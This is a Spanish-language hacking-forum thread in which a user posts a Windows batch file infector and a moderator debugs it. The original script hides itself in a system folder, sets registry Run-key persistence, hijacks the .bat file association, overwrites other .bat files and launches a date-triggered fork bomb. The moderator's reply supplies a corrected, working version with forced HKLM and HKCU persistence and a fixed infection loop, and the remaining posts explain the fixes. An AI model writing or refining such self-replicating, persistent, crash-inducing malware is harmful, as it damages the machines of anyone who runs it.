[src]batch-virus]f_to

Iniciado por 0x3c, 17 Enero 2013, 16:32 PM

0 Miembros y 1 Visitante están viendo este tema.

0x3c

yo en mi aburrimiento nocturno cree el siguiente codigo infector de archivos con la extension .bat, les pido de ante mano que si tienen alguna recomendacion o encuentran algun error me lo hagan saber..el codigo es bastante simple...aqui el codigo:


Código (DOS) [Seleccionar]

::*************************************************************
::* nombre:f_to -- payload:si [fork-bomb] -- infeccion:si
::* tipo:.bat infector -- Anti AV tech:no -- propagacion:no
::*========================================
::*=Este codigo fue creado con fines autodidacticos solamente
::*=el autor del mismo(osea yo) no tomara responsabilidad de
::*=ningun problema causado como resultado de su ejecucion
::*==================n3t_3rr0r@hushmail.com==
::*************************************************************
::@echo off
::salta al disco C:
cd\
::si existe el directorio "placenta" salta a una etiqueta que termina su ejecucion sino salta a otra etiqueta para continuar su ejecucion
if exist placenta (
goto _eof
) else (
goto _cnt
)
:_cnt
::crea una carpeta para alojarse
mkdir placenta
::le da attributos oculto/solo lectura/sistema
attrib +h +r +s placenta
::se auto-copia con el nombre f_to
copy %0 > c:\placenta\f_to.bat
::toma atributos de lectura y systema
attrib +r +s c:\placenta\f_to.bat
::se asocia a la extension .avi
assoc .bat=avifile
::agrega una llave al registro para garantizar ejecucion durante el proximo inicio
reg add HKLM\Microsoft\Windows\CurrentVersion\Run /v SysMgr /t Reg_SZ /d C:\placenta\f_to.bat
::payload - si la fecha es igual o mayor que 13-12-13 salta a la etiqueta para activar el payload
if %date% GEQ 13-12-13 (
goto _pyld
) else (
goto _eof
)
::busca archivos .bat y los infecta
for /R %%i in (*.bat) do copy %0 %%i
::y luego le da atributos de sistema/oculto
for /R %%i in (*.bat) do attrib +s +h %%i
:_pyld
:_fb
start %0
goto _fb
:_eof
exit /B


saludos
Si Vis Pacem, Para Bellum.

Another Legend Has Fallen

Eleкtro

#1
Cita de: 0x3c en 17 Enero 2013, 16:32 PMles pido de ante mano que si tienen alguna recomendacion o encuentran algun error me lo hagan saber..

1. En la primera ejecución del bat, creas la carpeta placenta
2. Si la carpeta "placenta" está creada, el script termina su ejecución.
2. Si la fecha es mayor que... intentas ejecutar de nuevo el bat en un búcle infinito.

Pregunta: ¿Que sentido le das ejecutar de nuevo el bat en un búcle infinito, si cuando la carpeta "placenta" ya está creada, el propio bat se cierra?.






cd\
El comando no sirve para saltar a la raíz de "C:\", sirve para saltar a la raíz del dispositivo actual, es decir, si el """"virus"""" se ejecuta desde la unidad "D:\", buscará por "D:\placenta".






Código (DOS) [Seleccionar]
goto _eof
Código (DOS) [Seleccionar]
:_eofexit /B

Esto que haces es totálmente innecesario, aparte de que no es necesario llamar a ninguna etiqueta, para algo existe el "EOF":
Código (DOS) [Seleccionar]
GOTO:EOF
Y así sales del bat actual.
EDITO: Siempre que no te encuentres dentro de una subrutina.






Código (DOS) [Seleccionar]
if exist placenta (Exit /B) & REm aquí llamas a 2 etiquetas innecesarias.





Código (DOS) [Seleccionar]
if %date% GEQ 13-12-13 (
Esto es imposible que te funcione:
- el símbolo es "/", y tu estás comparando el guión "-".
- la variable DATE contiene 8 dígitos, no 6.
- no estás usando un orden de comparación correcto:

Tu estás haciendo esto
Código (DOS) [Seleccionar]
if %date% GEQ 13-12-13

Si date fuese esto, daría positivo:
Código (DOS) [Seleccionar]
if 14-01-01 GEQ 13-12-13






Código (DOS) [Seleccionar]
Assoc           ".bat"="avifile"
Esto es muy incorrecto,
para tocar cosas dle registro hay que estudiar lo básico de él.

En muchos PC's funcionará como lo has dejado, pero desde luego no en todos,

el identificador "avifile" puede estar vacío, es decir, "avifile" no tiene porque estar asociado a ningún programa que reproduzca vídeos, por ponerte un ejemplo, cuando instalas un reproductor multimedia de terceros, puede modificar los identificadores por defecto, y eliminarlos.

En mi caso el identificador para los Avi es "UMPLAYER.AVI", si yo quisiera que tu bat me funcionase , debería hacer:
Código (DOS) [Seleccionar]
Assoc ".bat"="UMPLAYER.AVI"

Ya que si lo associo a "AVIFILE" obtengo como resultado algo muy distinto,
así que si lo quieres hacer bien, primero tienes que obtener el valor del identificador de los AVI.






Código (DOS) [Seleccionar]
Reg ADD  "HKLM\..."
No te recomiendo que uses la raíz Hkey_Local_Machine por los permisos del usuario, sería mejor que escribas en la raíz de la sesión del usuario local "HKCU", además, no fuerzas la escritura de la clave, y eso es muy importante.

Deberías escribir en las dos raizes para asegurarte mejor.






Código (DOS) [Seleccionar]
for /R %%i in (*.bat) do copy %0 %%i
for /R %%i in (*.bat) do attrib +s +h %%i


Esas ordenes no se llegan a procesar en ninguno de los casos ya que antes de llegar al FOR, o llamas a una etiqueta, o sales del código, pero el código no sigue,
pregunto, ¿Has probado tu script?.






Código (DOS) [Seleccionar]
::busca archivos .bat y los infecta
for /R %%i in (*.bat) do copy %0 %%i
for /R %%i in (*.bat) do attrib +s +h %%i


Estás haciendo dos pasadas en el disco duro, eso puede tardar siglos usando batch, cuando puedes concatenar los dos comandos en el mismo FOR.






Código (DOS) [Seleccionar]
copy %0 %%i
attrib +s +h %%i


¿Que pasa si la variable %%i contiene un archivo con espacios en el nombre? (KABOOM!)
¿Que pasa si intentas copiar un archivo cuando el archivo de destino ya existe? (KABOOM!)

2 razones por las que ese FOR no pueden funcionar, sin mencionar los permisos que el usuario tenga.






Y como crítica constructiva te diré que usas demasiados saltos de etiquetas y deberías aprender a indentar un código para hacer legible tus scripts, tu código está muy embrutecido.








Eleкtro

#2
Bueno, como soy el moderador voy a hacer un doble post porqué sí  (Por una vez no pasa nada xD) :laugh:, que arriba puse demasiada información para leer.

Aquít ienes las correciones que he mencionado antes ( Sí las quieres :P ):

Código (dos) [Seleccionar]
@Echo OFF

Set "Folder=%SystemDrive%\placenta"

IF exist "%Folder%" (Exit /B 1) Else (
MKDIR           "%Folder%"
Copy /Y "%~0"   "%Folder%\f_to%~x0"
Attrib +R +S +H "%Folder%"
Attrib +R +S    "%Folder%\f_to%~x0"
Reg ADD         "HKLM\Microsoft\Windows\CurrentVersion\Run" /v "SysMgr" /d "%Folder%\f_to%~x0" /F
Reg ADD         "HKCU\Microsoft\Windows\CurrentVersion\Run" /v "SysMgr" /d "%Folder%\f_to%~x0" /F
For /F "Tokens=1-3 Delims= " %%A in ('REG Query "HKCR\.avi" /V ""') Do (Assoc ".bat"="%%C")
IF %date:~6,4%%date:~3,2%%date:~0,2% GEQ 20131213 (GOTO :Loop) Else (Exit /B 1)
REM Como esta orden no se llega a ejecutar en el código original no se donde quieres que la ponga, pero de todas formas la he corregido:
:: For /R %%# in ("*.bat";"*.cmd") do (Copy /Y "%~0" "%%#" & Attrib +s +h "%%#")
)

:Loop
(Start /B "" "%~0") & (Goto :Loop)


Saludos.








$Edu$

Jajaja mejor critica constructiva que esa no tendras, con Elektro no se jode xD, si haces un programa de 1 linea Elektro te dice 10 cosas a mejorar jajaja. Aplauso para Elektro  ;-) ;-)

0x3c

#4
por lo que veo voy a tengo que leer mucho para seguir escribiendo 'bichitos'...tendre que hacer una version 2 de esto....

Citar
Código

   if %date% GEQ 13-12-13 (

Esto es imposible que te funcione:
- el símbolo es "/", y tu estás comparando el guión "-".
- la variable DATE contiene 8 dígitos, no 6.
- no estás usando un orden de comparación correcto:

Tu estás haciendo esto
Código

   if %date% GEQ 13-12-13

con esto el problema es que para ver si me funcionaria lo probe en la CMD...

Citar
Código

   ::busca archivos .bat y los infecta
   for /R %%i in (*.bat) do copy %0 %%i
   for /R %%i in (*.bat) do attrib +s +h %%i


Estás haciendo dos pasadas en el disco duro, eso puede tardar siglos usando batch, cuando puedes concatenar los dos comandos en el mismo FOR.

bueno esto lo sabia por que probe esta parte del codigo y si tardo bastante pero este script trate de hacerlo lo mas "detectable" por eso no quise ponerle ningun tipo de proteccion..de cierta forma no quiero que ande gente infectando personas con un script que yo hice...hay partes de las correciones que hiciste que no entiendo...

E.P.:
Citar
:Loop
(Start /B "" "%~0") & (Goto :Loop)

por ejemplo no sabia que se podia empezar una linea de codigo con un parentesis :O bueno la 'forkbomb' quise hacerla a la antigua...pero como dije hay cosas que no entiendo en las correcion que hiciste..

Citar
   For /F "Tokens=1-3 Delims= " %%A in ('REG Query "HKCR\.avi" /V ""') Do (Assoc ".bat"="%%C")
IF %date:~6,4%%date:~3,2%%date:~0,2% GEQ 20131213

sobre esta parte todavia no me relaciono con FOR muy bien asi que esta parte del codigo no la entiendo bien...segun puedo ver estas tratando de contar tokens y delimitas algo??  :huh:

explicame mejor esa parte por favor si puedes...por cierto las correciones que hiciste claro que son bienvenidas :D gracias por tomarte el tiempo de revisar el codigo...

E.P.2:
Citar
Pregunta: ¿Que sentido le das ejecutar de nuevo el bat en un búcle infinito, si cuando la carpeta "placenta" ya está creada, el propio bat se cierra?.

esto es cierto...al parecer como lo hice con ganas de experimentar se me pasaron ciertas cosas
saludos
Si Vis Pacem, Para Bellum.

Another Legend Has Fallen

Eleкtro

Sincéramente el mundo "batch" está lleno de "virus" como el que compartiste,
aparte de ayudar y enseñar lo que pueda intento demostrar que no es tán fácil, hay muchos detalles que tener en cuenta, y te dije unos cuantos.




Citarexplicame mejor esa parte por favor si puedes.

Te explico:

Cita de: 0x3c en 17 Enero 2013, 21:25 PMpor ejemplo no sabia que se podia empezar una linea de codigo con un parentesis :O
El paréntesis es el operador de agrupación, y sirve para agrupar comandos.
Puedes empezar cualquier línea con el uso del paréntesis, y puedes agrupar tantas veces como quieras:

((((((((((echo hola))))))))))

Ejemplo:
Código (dos) [Seleccionar]
f "a" == "a" echo Es igual & Echo Sí else No es igual

Eso es una patata de línea, porque los comandos no están agrupados así que no puede funcionar corréctamente, siempre mostrará "es igual" y "no es igual",
hay que agrupar las ordenes así:
Código (dos) [Seleccionar]
f "a" == "a" (echo Es igual & Echo Sí) else (No es igual)

También puedes agrupar para hacer una redirección multilínea:
Código (dos) [Seleccionar]

(
Echo elhacker
echo .net
)>"Archivo.txt"

* El output de lo que haya dentro de la agrupación se redirecciona al archivo.

Otro ejemplo de agrupación en una línea sería:
Código (dos) [Seleccionar]
(SET /A "A=0", "LINE=0", "TOTAL_LINES=0")  &  (CALL :%~1 %* || (ECHO Parametro incorrecto & Exit /B 1)) & (GOTO:EOF)
* Fíjate donde acaba la primera agrupación, sin usar las agrupaciones no se podría escribir en una sola línea porque el "GOTO:EOF" siempre daría positivo.
* El ejemplo lo he sacado de mi script, donde tienes más ejemplos: [BATCH] [APORTE] Rutina TEXTMAN para manipular archivos de texto

Y escribí un tutorial de Batch donde tienes más información:
Tutorial extendido de aprendizaje Batch 4.4 Operadores de agrupación




Cita de: 0x3c en 17 Enero 2013, 21:25 PMFOR
esta parte del codigo no la entiendo bien...segun puedo ver estas tratando de contar tokens y delimitas algo??  :huh:

Lo primero de todo que hago es obtener el dato del valor "default" de la clave "HKEY_CLASSES_ROOT\.Avi", que es donde se guarda el identificador necesario.

El output que recibo es este:
   (Predeterminado)    REG_SZ    UMPLAYER.AVI

Contiene tres espacios por defecto antes del dato que quiero obtener, así que uso 3 tokens y como delimitador uso el espacio, y obtengo esto:
UMPLAYER.AVI

Y ya hago lo que quiera hacer con el valor que he obtenido xD.

Saludos.








The_Mushrr00m

No estoy muy familiarizado con Batch pero....
vamos EleKtro H@cker eres el jodido amo ! :xD
leo y leo post sobre batch y gracias a tus comentarios eh logrado aprender un poco.  ;-)

CitarJajaja mejor critica constructiva que esa no tendras, con Elektro no se jode xD, si haces un programa de 1 linea Elektro te dice 10 cosas a mejorar jajaja. Aplauso para Elektro

No paraba de reirme, pero tiene razon  ;D

Saludos..!
«No hay camino para la verdad, la verdad es el camino»


Eleкtro

Gracias aunque de poco sirve ser un pu** amo en Batch, yo envidio los conocimientos de $Edu$ entre otros cuantos miembros de la programación .NET.

Saludos!








0x3c

la verdad que tengo mucho que leer...el factor que mas afecta poder crear codigo personalmente hablando es el tiempo..en batch me gustaria alcanzar ciertos niveles, me gustaria poder desarrollar codigos como este:

foro.elhacker.net/scripting/virusbatch_nurex-t200263.0.html





saludos
Si Vis Pacem, Para Bellum.

Another Legend Has Fallen

$Edu$

Yo me leeria primero el tutorial que te ha dejado Elektro, que es de el mismo. Empezandolo desde el principio claro.

Luego que tenes la base es facil buscar codigos en google para entenderlos y mejorarlos para aplicarlos a tu programa dependiendo lo que quieras hacer.

pd: Elektro, envidiarme a mi? te confundes de usuario xD